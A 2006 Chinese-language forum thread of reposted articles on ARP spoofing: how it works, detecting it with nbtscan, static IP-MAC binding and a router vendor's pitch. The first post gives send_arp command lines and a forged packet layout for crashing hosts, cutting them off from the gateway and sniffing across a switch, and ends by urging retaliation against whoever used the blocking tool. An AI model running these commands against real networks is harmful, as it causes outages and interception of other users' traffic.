史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 網路軟硬體架設技術文件
忘記密碼?
註冊帳號 論壇說明 標記討論區已讀

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2006-07-14, 03:22 AM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 軟體 - 局域網攻擊原理與防禦(網路執法官類)

網上關於ARP的資料已經很多了,就不用我都說了。
用某一位高手的話來說,「我們能做的事情很多,唯一受
限制的是我們的創造力和想像力」。
ARP也是如此。
以下討論的電腦有:

一個要攻擊的電腦:10.5.4.178
硬體位址:52:54:4C:98:EE:2F
我的電腦: :10.5.3.69
硬體位址:52:54:4C:98:ED:C5
網路閘道器: 10.5.0.3
硬體位址:00:90:26:3D:0C:F3
一台交換機另一連接阜的電腦:10.5.3.3
硬體位址:52:54:4C:98:ED:F7
一: 用ARP破WINDOWS的瑩幕保護程式
原理:利用IP衝突的級別比瑩幕保護程式高,當有衝突時,就會
跳出瑩幕保護程式。
關鍵: ARP包的數量適當。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 /
10.5.4.178 52:54:4C:98:EE:2F 40

二:用ARP導致IP衝突,當機
原理:WINDOWS 9X,NT4在處理IP衝突時,處理不過來,導致當機。
註: 對WINDOWS 2K,LINUX相當於flooding,只是比一般的FLOODING
有效的多.對LINUX,明顯系統被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 /
10.5.4.178 52:54:4C:98:EE:2F 999999999

三:用ARP欺騙網路閘道器,可導致局域網的某台電腦出不了網路閘道器。
原理: 用ARP應答包去重新整理對應著要使之出不去的電腦。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 /
10.5.4.178 00:90:26:3D:0C:F3 1
注意:如果單單如上的命令,大概只能有效幾秒鐘,網路閘道器電腦裡的ARP
高速快取記憶體會被被攻擊的電腦正確重新整理,於是只要...

四:用ARP欺騙交換機,可監聽到交換機另一端的電腦。
可能需要修改一下send_arp.C , 構造如下的資料包。
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然後就可以sniffer了。
原理:
交換機是具有記憶MAC卡位址功能的 , 它維護一張MAC卡位址和它的口號表
所以你可以先來個ARP 欺騙, 然後就可以監聽了
不過需要指出 , 欺騙以後, 同一個MAC卡位址就有兩個連接阜號
yuange說,「這樣其實就是一個競爭問題。」
好像ARP 以後, 對整個網路會有點影響, 不過我不敢確定
既然是競爭 , 所以監聽也只能監聽一部分, 不像同一HUB下的監聽。
對被監聽者會有影響,因為他掉了一部分資料。
當然還有其他一些應用,需要其他技術的配合。

解決方法:
方法一:
網段A(192.168.0.x) 通過------> 網路閘道服務器(192.168.0.1;192.168.10.1) -----〉
和網段B(192.168.10.x)通信。
假設架設 CS服務器在 網段B 192.168.10.88 機器上,
現在 在 網路閘道服務器上架著一個連接阜轉發程式(有很多的自己找)
比如定義 網路閘道服務器的27015連接阜 轉發 指定 192.168.0.10.88 的27015連接阜
現在在網段A(192.168.0.x) 的玩家只要的 互連網遊戲地址處加入 192.168.0.1:27015 就可以找到
192.168.10.88 的CS服務器了
個人認為比較好的 辦法是 把網段分開 , 在網路閘道服務器上做連接阜轉發服務
來達到 共享CS服務器等 功能,就可以解決了~
方法二:
捆綁MAC和IP位址 杜絕IP位址盜用現象
到代理服務器端讓網路管理員把您上網的靜態IP位址與所記錄電腦的網卡地址進行捆綁。具體命令是:
  ARP -s 192.168.0.4 00-EO-4C-6C-08-75
  這樣,就將您上網的靜態IP位址192.168.0.4與網卡地址為00-EO-4C-6C-08-75的電腦綁定在一起了,即使別人盜用您的IP位址192.168.0.4也無法通過代理服務器上網。其中應注意的是此項命令僅在局域網中上網的代理服務器端有用,還要是靜態IP位址,像一般的Modem撥號上網是動態IP位址就不起作用。接下來我們對各參數的功能作一些簡單的介紹:

ARP -s - d - a
  -s——將相應的IP位址與物理位址的捆綁。
  -d——刪除所給出的IP位址與物理位址的捆綁。
  -a——通過查詢Arp協議表來顯示IP位址和對應物理位址情況。
方法三:
網路執法官這個軟件相信大家都聽說過了。功能不錯,可以禁止局域網任意機器連接網路。這個功能對網管來說的確不錯。不過如果這個軟件落到那些卑鄙小人的手裡---那後果就不堪設想了。輕則把你封了上不了網,重則可以導致整個局域網癱瘓。。

廢話不說了,切入正題吧。現在教大家兩招輕鬆防範網路執法官!!
NO 0.1
首先呢,最穩妥的一個辦法就是修改機器的MAC卡位址,只要把MAC卡位址改為別的,就可以欺騙過網路執法官,從而達到突破封鎖的目的。下面是修改MAC卡位址的方法:

linux環境下:
需要用
#ifconfig eth0 down
先把網卡禁用
再用ifconfig eth0 hw ether 1234567890ab
這樣就可以改成功了
要想永久改就這樣
在/etc/rc.d/rc.local裡加上這三句(也可以在/etc/init.d/network裡加下面三行)
ifconfig eth0 down
ifconfig eth0 hw ether 1234567890ab
ifconfig eth0 up
另:
在win2000中改MAC卡位址的方法:
打開註冊表編輯器,找到HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Class/{4D36E972-E325-11CE-BFC1-08002BE10318}子鍵,在該子鍵下的0000,0001,0002等分支中查找DriverDesc,在0000子鍵下天一個字元串項,命名為NetworkAddress,鍵值設為修改後的MAC卡位址,要求為連續的12個16進制數,如1234567890AB(注意位數要對!不能是000000000000,不能與別的機器重複)。然後在0000下的NDI/params中加一項名為NetworkAddress的子鍵,在該子鍵下新增名為defau

lt的字元串,鍵值為修改後的MAC卡位址,與上面的數值相同。在NetworkAddress的主鍵下繼續新增命名為ParamDesc的字元串,其作用是制定NetworkAddress主鍵的描述,其值可為「MAC
地址」,這樣以後打開網路內容,雙擊相應的網卡會發現有一個高階設置,其下坐在「MAC卡位址」的選項,在此修改MAC卡位址就可以了,修改後需重啟。

Windows環境:
用dos,8139的可以改,用realtek的pg8139.exe,比如
是8139c網卡,就改寫8139c.cfg文件,第一行就是網卡mac,想怎麼改就怎麼改
NO 0.2
另外一種方法,我沒有試,一種設想,有條件的朋友幫忙試一下。
由於網路執法官的原理是通過ARP欺騙發給被攻擊的電腦一個假的網路閘道器IP位址對應的MAC,使其找不到網路閘道器真正的MAC,那麼我們可以自己修改IP->MAC的映射,使網路執法官ARP欺騙失效。具體做法如下:

在還沒有被封鎖的時候進入CMD執行如下命令
e:/>ping 192.168.9.1 (假設此地址位網路閘道器。)
Pinging 192.168.9.1 with 32 bytes of data:
Reply from 192.168.9.1: bytes=32 time<10ms TTL=64
Reply from 192.168.9.1: bytes=32 time<10ms TTL=64
Reply from 192.168.9.1: bytes=32 time<10ms TTL=64
Reply from 192.168.9.1: bytes=32 time<10ms TTL=64
Ping statistics for 192.168.9.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
e:/>arp -a
Interface: 192.168.9.1 on Interface 0x5000003
Internet Address Physical Address Type
192.168.9.1 00-0E-70-32-f1-02 dynamic
(上面的就是網路閘道器的MAC)
然後作這樣一個批處理文件儲存起來。。注意!!!地址要換為你自己的網路閘道器的IP和MAC
arp -s 192.168.9.1 00-0E-70-32-f1-02
然後呢,在你被封鎖的時候,就執行這個批處理吧。
NO 0.3
如果解除了網路執法官的封鎖可不可以查到使用網路執法官的人究竟是誰呢?答案是可以!(感謝zva提供方法)利用arpkiller的sniffer殺手掃瞄整個局域網IP段查找處在「混雜」(監聽)模式下的電腦,應該就是他了!!!(注意,掃瞄的時候自己也處在混雜模式,自己不能算哦)

之後做什麼呢?就不用我說了吧?哈哈,以毒攻毒,用網路執法官把她封了!

此帖於 2006-07-14 03:53 AM 被 psac 編輯.
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1625 篇, 收花: 3196 次
舊 2006-07-14, 03:25 AM   #2 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

ARP攻擊原理及解決方法

故障原因】
局域網內有人使用ARP欺騙的木馬程式(比如:傳奇盜號的軟件,某些傳奇外掛中也被惡意載入了此程式)。
【故障原理】
要瞭解故障原理,我們先來瞭解一下ARP協議。
在局域網中,通過ARP協議來完成IP位址轉換為第二層物理位址(即MAC卡位址)的。ARP協議對網路安全具有重要的意義。通過偽造IP位址和MAC卡位址實現ARP欺騙,能夠在網路中產生大量的ARP通信量使網路阻塞。
ARP協議是「Address Resolution Protocol」(地址解析協議)的縮寫。在局域網中,網路中實際傳輸的是「幀」,幀裡面是有目標主機的MAC卡位址的。在乙太網中,一個主機要和另一個主機進行直接通信,必須要知道目標主機的MAC卡位址。但這個目標MAC卡位址是如何獲得的呢?它就是通過地址解析協議獲得的。所謂「地址解析」就是主機在發送幀前將目標IP位址轉換成目標MAC卡位址的過程。ARP協議的基本功能就是通過目標設備的IP位址,查詢目標設備的MAC卡位址,以保證通信的順利進行。
每台安裝有TCP/IP協議的電腦裡都有一個ARP快取記憶體表,表裡的IP位址與MAC卡位址是一一對應的,如下表所示。
主機 IP位址 MAC卡位址
A 192.168.16.1 aa-aa-aa-aa-aa-aa
B 192.168.16.2 bb-bb-bb-bb-bb-bb
C 192.168.16.3 cc-cc-cc-cc-cc-cc
D 192.168.16.4 dd-dd-dd-dd-dd-dd
我們以主機A(192.168.16.1)向主機B(192.168.16.2)發送資料為例。當發送資料時,主機A會在自己的ARP快取記憶體表中尋找是否有目標IP位址。如果找到了,也就知道了目標MAC卡位址,直接把目標MAC卡位址寫入幀裡面發送就可以了;如果在ARP快取記憶體表中沒有找到相對應的IP位址,主機A就會在網路上發送一個廣播,目標MAC卡位址是「FF.FF.FF.FF.FF.FF」,這表示向同一網段內的所有主機發出這樣的詢問:「192.168.16.2的MAC卡位址是什麼?」網路上其他主機並不響應ARP詢問,只有主機B接收到這個幀時,才向主機A做出這樣的回應:「192.168.16.2的MAC卡位址是bb-bb-bb-bb-bb-bb」。這樣,主機A就知道了主機B的MAC卡位址,它就可以向主機B發送訊息了。同時它還更新了自己的ARP快取記憶體表,下次再向主機B發送訊息時,直接從ARP快取記憶體表裡查找就可以了。ARP快取記憶體表採用了老化機制,在一段時間內如果表中的某一行沒有使用,就會被刪除,這樣可以大大減少ARP快取記憶體表的長度,加快查詢速度。
從上面可以看出,ARP協議的基礎就是信任局域網內所有的人,那麼就很容易實現在乙太網上的ARP欺騙。對目標A進行欺騙,A去Ping主機C卻發送到了DD-DD-DD-DD-DD-DD這個地址上。如果進行欺騙的時候,把C的MAC卡位址騙為DD-DD-DD-DD-DD-DD,於是A發送到C上的資料包都變成發送給D的了。這不正好是D能夠接收到A發送的資料包了麼,嗅探成功。
A對這個變化一點都沒有意識到,但是接下來的事情就讓A產生了懷疑。因為A和C連接不上了。D對接收到A發送給C的資料包可沒有轉交給C。
做「man in the middle」,進行ARP重定向。打開D的IP轉發功能,A發送過來的資料包,轉發給C,好比一個路由器一樣。不過,假如D發送ICMP重定向的話就中斷了整個計劃。
D直接進行整個包的修改轉發,捕獲到A發送給C的資料包,全部進行修改後再轉發給C,而C接收到的資料包完全認為是從A發送來的。不過,C發送的資料包又直接傳遞給A,倘若再次進行對C的ARP欺騙。現在D就完全成為A與C的中間橋樑了,對於A和C之間的通訊就可以瞭如指掌了。
【故障現象】
當局域網內某台主機執行ARP欺騙的木馬程式時,會欺騙局域網內所有主機和路由器,讓所有上網的流量必須經過病毒主機。其他用戶原來直接通過路由器上網現在轉由通過病毒主機上網,切換的時候用戶會斷一次線。
切換到病毒主機上網後,如果用戶已經登入了傳奇服務器,那麼病毒主機就會經常偽造斷線的假像,那麼用戶就得重新登入傳奇服務器,這樣病毒主機就可以盜號了。
由於ARP欺騙的木馬程式發作的時候會發出大量的資料包導致局域網通訊擁塞以及其自身處理能力的限制,用戶會感覺上網速度越來越慢。當ARP欺騙的木馬程式停止執行時,用戶會恢復從路由器上網,切換過程中用戶會再斷一次線。
【HiPER用戶快速發現ARP欺騙木馬】
在路由器的「系統歷史記錄」中看到大量如下的訊息(440以後的路由器軟件版本中才有此提示):
MAC Chged 10.128.103.124
MAC Old 00:01:6c:36:d1:7f
MAC New 00:05:5d:60:c7:18
這個消息代表了用戶的MAC卡位址發生了變化,在ARP欺騙木馬開始執行的時候,局域網所有主機的MAC卡位址更新為病毒主機的MAC卡位址(即所有訊息的MAC New地址都一致為病毒主機的MAC卡位址),同時在路由器的「用戶統計」中看到所有用戶的MAC卡位址訊息都一樣。
如果是在路由器的「系統歷史記錄」中看到大量MAC Old地址都一致,則說明局域網內曾經出現過ARP欺騙(ARP欺騙的木馬程式停止執行時,主機在路由器上恢復其真實的MAC卡位址)。
【在局域網內查找病毒主機】
在上面我們已經知道了使用ARP欺騙木馬的主機的MAC卡位址,那麼我們就可以使用NBTSCAN(下載地址:http://down.wglm.net/Software/catalog21/339.html)工具來快速查找它。
NBTSCAN可以取到PC的真實IP位址和MAC卡位址,如果有」傳奇木馬」在做怪,可以找到裝有木馬的PC的IP/和MAC卡位址。
命令:「nbtscan -r 192.168.16.0/24」(搜索整個192.168.16.0/24網段, 即
192.168.16.1-192.168.16.254);或「nbtscan 192.168.16.25-137」搜索192.168.16.25-137 網段,即192.168.16.25-192.168.16.137。輸出結果第一列是IP位址,最後一列是MAC卡位址。
NBTSCAN的使用範例:
假設查找一台MAC卡位址為「000d870d585f」的病毒主機。
1)將壓縮包裝裝裝裝中的nbtscan.exe 和cygwin1.dll解壓縮放到c:/下。
2)在Windows開始—執行—打開,輸入cmd(windows98輸入「command」),在出現的DOS視窗中輸入:C:/nbtscan -r 192.168.16.1/24(這裡需要根據用戶實際網段輸入),Enter鍵。
C:/Documents and Settings/ALAN>C:/nbtscan -r 192.168.16.1/24
Warning: -r option not supported under Windows. Running without it.
Doing NBT name scan for addresses from 192.168.16.1/24
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
192.168.16.0 Sendto failed: Cannot assign requested address
192.168.16.50 SERVER 00-e0-4c-4d-96-c6
192.168.16.111 LLF ADMINISTRATOR 00-22-55-66-77-88
192.168.16.121 UTT-HIPER 00-0d-87-26-7d-78
192.168.16.175 JC 00-07-95-e0-7c-d7
192.168.16.223 test123 test123 00-0d-87-0d-58-5f
3)通過查詢IP--MAC對應表,查出「000d870d585f」的病毒主機的IP位址為「192.168.16.223」。
【解決思路】

1、不要把你的網路安全信任關係建立在IP基礎上或MAC基礎上,(rarp同樣存在欺騙的問題),理想的關係應該建立在IP+MAC基礎上。
2、設置靜態的MAC-->IP對應表,不要讓主機重新整理你設定好的轉換表。
3、除非很有必要,否則停止使用ARP,將ARP做為永久條目儲存在對應表中。
4、使用ARP服務器。通過該服務器查找自己的ARP轉換表來響應其他機器的ARP廣播。確保這台ARP服務器不被黑。
5、使用"proxy"代理IP的傳輸。
6、使用硬體屏蔽主機。設置好你的路由,確保IP位址能到達合法的路徑。(靜態配置路由ARP條目),注意,使用交換集線器和網橋無法阻止ARP欺騙。
7、管理員定期用響應的IP包中獲得一個rarp請求,然後檢查ARP響應的真實性。
8、管理員定期輪詢,檢查主機上的ARP快取記憶體。
9、使用防火牆連續監控網路。注意有使用SNMP的情況下,ARP的欺騙有可能導致陷阱包丟失。
【HiPER用戶的解決方案】
建議用戶採用雙向綁定的方法解決並且防止ARP欺騙。
1、在PC上綁定路由器的IP和MAC卡位址:
1)首先,獲得路由器的內網的MAC卡位址(例如HiPER網路閘道器地址192.168.16.254的MAC卡位址為0022aa0022aa)。
2)編寫一個批處理文件rarp.bat內容如下:
@echo off
arp -d
arp -s 192.168.16.254 00-22-aa-00-22-aa
將文件中的網路閘道器IP位址和MAC卡位址更改為您自己的網路閘道器IP位址和MAC卡位址即可。
將這個批處理軟件拖到「windows--開始--程式--啟動」中。
3)如果是網咖,可以利用收費軟件服務端程式(pubwin或者萬象都可以)發送批處理文件rarp.bat到所有客戶機的啟動目錄。Windows2000的預定啟動目錄為「C:/Documents and Settings/All Users「開始」表表表表菜單程式啟動」。
2、在路由器上綁定用戶主機的IP和MAC卡位址(440以後的路由器軟件版本支持):
在HiPER管理界面--高階配置--用戶管理中將局域網每台主機均作綁定。
【參考文獻】
Refdom寫的《交換網路中的嗅探和ARP欺騙》,http://www.xfocus.net
Nbtscan軟件源出處http://www.inetcat.org/software/nbtscan.html

此帖於 2006-07-14 03:54 AM 被 psac 編輯.
psac 目前離線  
送花文章: 3, 收花文章: 1625 篇, 收花: 3196 次
舊 2006-07-14, 03:28 AM   #3 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

ARP欺騙原理以及路由器的先天免疫
ARP(Address Resolution Protocol,地址解析協議)是一個位於TCP/IP協議棧中的低層協議,負責將某個IP位址解析成對應的MAC卡位址。

「網管,怎麼又掉線了?!」每每聽到客戶的責問,網管員頭都大了。其實,此起彼伏的瞬間掉線或大面積的斷網大都是ARP欺騙在作怪。ARP欺騙攻擊已經成了破壞網咖經營的罪魁禍首,是網咖老闆和網管員的心腹大患。

從影響網路連接通暢的方式來看,ARP欺騙分為二種,一種是對路由器ARP表的欺騙;另一種是對內網PC的網路閘道器欺騙。

第一種ARP欺騙的原理是——截獲網路閘道器資料。它通知路由器一系列錯誤的內網MAC卡位址,並按照一定的頻率不斷進行,使真實的地址訊息無法通過更新儲存在路由器中,結果路由器的所有資料只能發送給錯誤的MAC卡位址,造成正常PC無法收到訊息。第二種ARP欺騙的原理是——偽造網路閘道器。它的原理是建立假網路閘道器,讓被它欺騙的PC向假網路閘道器發資料,而不是通過正常的路由器途徑上網。在PC看來,就是上不了網了,「網路掉線了」。

一般來說,ARP欺騙攻擊的後果非常嚴重,大多數情況下會造成大面積掉線。有些網管員對此不甚瞭解,出現故障時,認為PC沒有問題,交換機沒掉線的「本事」,電信也不承認寬帶故障。而且如果第一種ARP欺騙發生時,只要重啟路由器,網路就能全面恢復,那問題一定是在路由器了。為此,寬帶路由器背了不少「黑鍋」。

作為網咖路由器的廠家,對防範ARP欺騙不得已做了不少份內、份外的工作。一、在寬帶路由器中把所有PC的IP-MAC輸入到一個靜態表中,這叫路由器IP-MAC綁定。二、力勸網管員在內網所有PC上設置網路閘道器的靜態ARP訊息,這叫PC機IP-MAC綁定。一般廠家要求兩個工作都要做,稱其為IP-MAC雙向綁定。

方法是有效的,但工作很繁瑣,管理很麻煩。每台PC綁定本來就費力,在路由器中新增、維護、管理那麼長長的一串列表,更是苦不堪言。一旦將來擴容調整,或更換網卡,又很容易由於疏忽造成混亂。如果您有所擔心,那麼不妨選用欣向網咖路由IXP機種,它可以使您寬心一些。因為欣向路由器根本不需要IP-MAC綁定,沒有那長長的一串地址表。對付ARP,您只要做PC的單向綁定就可以了。該路由能夠有效拒絕ARP對網路閘道器的欺騙,它是先天免疫的!

欣向路由的ARP先天免疫取決於它的二個有力的技術措施。一是獨特的NAT處理機制,二是網路閘道器的主動防範機制。

產品對NAT的處理不同於通用協議棧的方式,它在原有的網路協議基礎上,進行了強化、保護和擴容。雖然NAT是標準的網路協議,但實現方法可以各顯其能,保證殊途同歸就行。ARP欺騙只對公開的、通用的系統起作用,它利用了通用系統工作方式上的漏洞,而對NAT實現機制卻無能為力,因為NAT設計了強有力的保護字段。這就是欣向路由能夠對ARP先天免疫的原理。

另外,為對抗假冒網路閘道器的ARP欺騙,產品設計了網路閘道器的ARP廣播機制,它以一個可選定的頻次,向內網宣佈正確的網路閘道器地址,維護網路閘道器的正當權益。在暫時無法及時清除ARP病毒,網管員還沒有做PC上的IP-MAC綁定時,它能在一定程度上維持網路的執行,避免災難性後果,贏取系統修復的時間。這就是ARP主動防範機制。

不過,如果不在PC上綁定IP-MAC,雖然有主動防範機制,但網路依然在帶病執行。因為這種ARP是內網的事情,是不通過路由器的。讓路由器插手只能做到對抗,不能根絕。ARP太猖獗時,就會發生時斷時續的故障,那是主動防範機制在與ARP欺騙進行拉鋸式的鬥爭。為此,產品還專門提供了一個ARP欺騙偵測、定位、防範的工具軟件,免費發放給所有的網咖,幫助網管員們發現ARP欺騙的存在,為清除ARP欺騙源提供工作輔佐,並加入了欣向主動防範機制,有效對付ARP欺騙。

儘管如此,仍然提醒廣大的網咖網管員,為了一勞永逸,還是費點力為每台PC做IP-MAC綁定吧,這樣可以徹底根除ARP欺騙帶來的煩惱。況且,路由只需要單向綁定,已經為您省去了另一半更繁瑣的工作,並且設置時不需要重啟路由器斷網。路由器本身不怕ARP,您再做好PC上的綁定,讓PC也不怕ARP,雙管齊下,您的網咖就可以高枕無憂了

此帖於 2006-07-14 03:55 AM 被 psac 編輯.
psac 目前離線  
送花文章: 3, 收花文章: 1625 篇, 收花: 3196 次
舊 2006-07-14, 03:29 AM   #4 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

網路安全中的ARP協議和欺騙技術及其對策
Author:Phoenix
Homepage:http://www.safechina.net
E-mail:Phoenix@safechina.net
Time:24/06/2002

ARP協議的概念和工作原理對學習網路安全知識的初學者來說是首先遇到的幾個重要的知識點之一,其中ARP欺騙技術和及其對策更是學習網路安全中的重點與難點,往往難以一下子掌握這些抽像複雜的機理。因此很有必要用詳細介始一下網路安全中的ARP協議和欺騙技術相應的對策。

一,TCP/IP協議之ARP協議的定義

ARP協議即地址解析協議Address Resolution Protocol,ARP協議是將IP位址與網路物理位址一一對應的協議。負責IP位址和網卡實體地址(MAC)之間的轉換。也就是將網路層(IP層,也就是相當於ISO OSI 的第三層)地址解析為資料連接層(MAC層,也就是相當於ISO OSI的第二層)的MAC卡位址。如果您對網路七層協定有比較清晰的理解的話應該知道各個層級之間都使用其各自的協定。一張ARP的表,用來支持在MAC卡位址和IP位址之間的一一對應關係。它提供兩者的相互轉換。

二,ARP協議的工作原理
在乙太網(Ethernet)中,一個網路設備要和另一個網路設備進行直接通信,除了知道目標設備的網路層邏輯地址(如IP位址)外,還要知道目標設備的第二層物理位址(MAC卡位址)。ARP協議的基本功能就是通過目標設備的IP位址,查詢目標設備的MAC卡位址,以保證通信的順利進行。

  當一個網路設備需要和另一個網路設備通信時,它首先把目標設備的IP位址與自己的子網掩碼進行"與"操作,以判斷目標設備與自己是否位於同一網段內。如果目標設備在同一網段內,並且源設備沒有獲得與目標IP位址相對應的MAC卡位址訊息,則源設備以第二層廣播的形式(目標MAC卡位址為全1)發送ARP請求報文,在ARP請求報文中包含了源設備與目標設備的IP位址。同一網段中的所有其他設備都可以收到並分析這個ARP請求報文,如果某設備發現報文中的目標IP位址與自己的IP位址相同,則它向源設備發回ARP響應報文,通過該報文使源設備獲得目標設備的MAC卡位址訊息。

  如果目標設備與源設備不在同一網段,則源設備首先把IP分組發向自己的預設網路閘道器(Default Gateway),由預設網路閘道器對該分組進行轉發。如果源設備沒有關於預設網路閘道器的MAC訊息,則它同樣通過ARP協議獲取預設網路閘道器的MAC卡位址訊息。為了減少廣播量,網路設備通過ARP表在快取記憶體中儲存IP與MAC卡位址的映射訊息。在一次ARP的請求與響應過程中,通信雙方都把對方的MAC卡位址與IP位址的對應關係儲存在各自的ARP表中,以在後續的通信中使用。ARP表使用老化機制,刪除在一段時間內沒有使用過的IP與MAC卡位址的映射關係。

還有當傳送過來的包要傳向一個LAN的主機時,當它到達網路閘道器時,網路閘道器要求ARP程式找到物理主機或與IP位址相對應的MAC卡位址。ARP程式在快取記憶體中尋找,如果找到地址,就提供此地址,以便讓此包轉換成相應的長度和格式,以傳送到此主機。如果未找到,ARP程式就在網上廣播一個特殊格式的消息,看哪個機器知道與這個IP位址相關的MAC卡位址。如果一台機器發現那是自己的IP位址,它就發送回應,這樣就指出了相應的地址。ARP程式就更新自己的快取記憶體然後發送此包到回應的MAC卡位址。因為不同協議的相應處理方法不同,所以有不同網路的地址解析請求。也有反向位址解析協議(RARP)供不知道IP位址的主機從ARP快取記憶體中獲得IP位址。

我們還是來通過實驗更加深入直觀地瞭解ARP協議的工作原理吧。我們假設有兩台主機:A機的IP位址是192.168.0.1,MAC卡位址是52-54-ab-27-82-83 。
B機的IP位址是192.168.0.2,MAC卡位址是52-54-ab-27-82-84 。
當主機A想與主機B進行通訊時,A機只知道B機的IP位址是192.168.0.2,當資料包封裝到MAC層時他如何知道B
的MAC卡位址呢,一般的OS中是這樣做的,在OS的內核中儲存一分MAC卡位址表,就是我們一中介始到的。用arp -a就可以看見這個表的內容了,例如:
C:/>arp -a

Interface: 192.168.0.X on Interface 0x1000002
Internet Address Physical Address Type
192.168.0.1 52-54-ab-27-82-83 dynamic


其中表內有IP和MAC卡位址的對應關係,當要過進行通訊時,系統先檢視這個表中是否有相關的表項,如果有就直接使用,如果沒有系統就會發出一個ARP請求包,這個包的目的地址為ffffffffffff的廣播地址,他的作用就是詢問局域網內IP位址為192.168.0.2的主機的MAC卡位址,就像是A在局域網中發訊息找一個IP位址為192.168
.0.2的主機MAC卡位址,同樣A機把自已的MAC卡位址告訴出去是52-54-ab-27-82-83 ,隨後所有主機都會接收到這個包,但只有IP為192.168.0.2的B才會響應一個ARP應答包給主機A,B機會回訊息給A機說他的MAC卡位址是52-54-ab-27-82-84
,好這下主機A就知道B的MAC卡位址了,於時他就可以封包發送了,同時主機A將B的MAC卡位址放入ARPBuffers中,隔一定時間就將其刪除,確保不斷更新。

注意,在這個過程中,如果主機A在發送ARP請求時,假如該局域網內有一台主機C的IP和A相同,C就會得知有一台主機的IP位址同自已的IP位址相同,於時就蹦出一個IP衝突的對話筐。與ARP相對應的還有一個協議RARP:Reverse
Address Resolution Protocol,
反向位址解析協議,該協議主要用於工作站模型動態獲取IP的過程中,作用是由MAC卡位址向服務器取回IP位址。

三,如何實現ARP協議的欺騙技術和相應的對策

1,ARP協議欺騙技術

當我們設定一個目標進行ARP欺騙時,也就是把MAC卡位址通過一主機A發送到主機B上的資料包都變成發送給主機C的了,如果C能夠接收到A發送的資料包後,第一步屬於嗅探成功了,而對於主機A來目前是不可能意識到這一點,主機C接收到主機A發送給主機B的資料包可沒有轉交給B。當進行ARP重定向。打開主機C的IP轉發功能,A發送過來的資料包,轉發給C,好比一個路由器一樣。但是這就是ARP協議欺騙真正的一步,假如主機C進行發送ICMP重定向的話就麻煩了,因為他可以直接進行整個包的修改轉發,捕獲到主機A發送給的資料包,全部進行修改後再轉發給主機B,而主機B接收到的資料包完全認為是從主機A發送來的。這樣就是主機C進行ARP協議欺騙技術,對於網路安全來是很重要的。當然還可以通過MAC卡位址進行欺騙的。

2,ARP協議欺騙技術相應對策

各種網路安全的對策都是相對的,主要要看網管平時對網路安全的重視性了。下面介始一些相應的對策:

1) 在系統中建立靜態ARP表 ,建立後對本身自已系統影響不大的,對網路影響較大,破壞了動態ARP解析過程。靜態ARP協議表不會過期的,我們用「arp -d」命令清除ARP表,即手動刪除。但是有的系統的靜態ARP表項可以被動態重新整理,如Solaris系統,那樣的話依靠靜態ARP表項並不能對抗ARP欺騙攻擊,相反縱容了ARP欺騙攻擊,因為虛假的靜態ARP表項不會自動超時消失。當然, 可以考慮利用cron機制補救之。(增加一個crontab) 為了對抗ARP欺騙攻擊,對於Solaris系統來說,應該結合"禁止相應網路接頭做ARP解 析"和"使用靜態ARP表"的設置

2)在相對系統中禁止某個網路接頭做ARP解析(對抗ARP欺騙攻擊),可以做靜態ARP協議設置(因為對方不會響應ARP請求報文) 如:arp -s XXX.XXX.XX.X 08-00-20-a8-2e-ac
